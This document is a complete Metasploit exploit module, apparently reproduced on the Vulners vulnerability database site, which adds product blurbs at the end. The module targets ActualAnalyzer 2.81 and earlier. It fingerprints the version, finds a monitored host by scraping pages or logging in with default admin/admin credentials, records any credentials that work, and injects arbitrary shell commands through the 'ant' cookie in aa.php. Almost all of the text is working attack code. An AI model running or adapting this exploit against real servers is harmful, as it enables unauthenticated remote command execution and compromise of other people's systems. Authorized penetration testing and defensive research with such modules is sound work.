`##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in
ActualAnalyzer version 2.81 and prior.
The 'aa.php' file allows unauthenticated users to
execute arbitrary commands in the 'ant' cookie.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Harris', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '34450'],
['OSVDB', '110601']
],
'Payload' =>
{
'Space' => 4096, # HTTP cookie
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
['ActualAnalyzer <= 2.81', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 28 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
], self.class)
end
#
# Checks if target is running ActualAnalyzer <= 2.81
#
def check
# check for aa.php
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
if !res
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
elsif res.code == 404
vprint_error("#{peer} - Could not find aa.php")
return Exploit::CheckCode::Safe
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
return Exploit::CheckCode::Detected
end
# check version
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
if !res
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
vprint_status("#{peer} - Found version: #{version}")
if Gem::Version.new(version) <= Gem::Version.new('2.81')
report_vuln(
host: rhost,
name: self.name,
info: "Module #{fullname} detected ActualAnalyzer #{version}",
refs: references,
)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Detected
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
#
# Try to retrieve a valid analytics host from view.php unauthenticated
#
def get_analytics_host_view
analytics_host = nil
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'view.php'),
'vars_post' => {
'id_h' => '',
'listp' => '',
'act_h' => 'vis_int',
'oldact' => 'vis_grpg',
'tint_h' => '',
'extact_h' => '',
'home_pos' => '',
'act' => 'vis_grpg',
'tint' => 'total',
'grpg' => '201',
'cp_vst' => 'on',
'cp_hst' => 'on',
'cp_htst' => 'on',
'cp_reps' => 'y',
'tab_sort' => '1_1'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
return analytics_host
else
vprint_status("#{peer} - Could not find any hosts on view.php")
end
nil
end
#
# Try to retrieve a valid analytics host from code.php unauthenticated
#
def get_analytics_host_code
analytics_host = nil
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'code.php'),
'vars_get' => {
'pid' => '1'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
return analytics_host
else
vprint_status("#{peer} - Could not find any hosts on code.php")
end
nil
end
#
# Try to retrieve a valid analytics host from admin.php with creds
#
def get_analytics_host_admin
analytics_host = nil
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'vars_post' => {
'uname' => user,
'passw' => pass,
'id_h' => '',
'listp' => '',
'act_h' => '',
'oldact' => 'pages',
'tint_h' => '',
'extact_h' => '',
'param_h' => '',
'param2_h' => '',
'home_pos' => '',
'act' => 'dynhtml',
'set.x' => '11',
'set.y' => '11'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 200 && res.body =~ />Login</
vprint_status("#{peer} - Login failed.")
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
print_good("#{peer} - Login successful! (#{user}:#{pass})")
service_data = {
address: Rex::Socket.getaddress(rhost, true),
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
return analytics_host
else
vprint_status("#{peer} - Could not find any hosts on admin.php")
end
nil
end
def execute_command(cmd, opts = { analytics_host: vhost })
vuln_cookies = %w(anw anm)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'aa.php'),
'vars_get' => { 'anp' => opts[:analytics_host] },
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
)
if !res
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
print_good("#{peer} - Payload sent successfully")
return true
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
nil
end
def exploit
return unless check == Exploit::CheckCode::Vulnerable
analytics_hosts = []
if datastore['ANALYZER_HOST'].blank?
analytics_hosts << get_analytics_host_code
analytics_hosts << get_analytics_host_view
analytics_hosts << get_analytics_host_admin
analytics_hosts << vhost
analytics_hosts << '127.0.0.1'
analytics_hosts << 'localhost'
else
analytics_hosts << datastore['ANALYZER_HOST']
end
analytics_hosts.uniq.each do |host|
next if host.nil?
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
break if execute_command(payload.encoded, analytics_host: host)
end
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation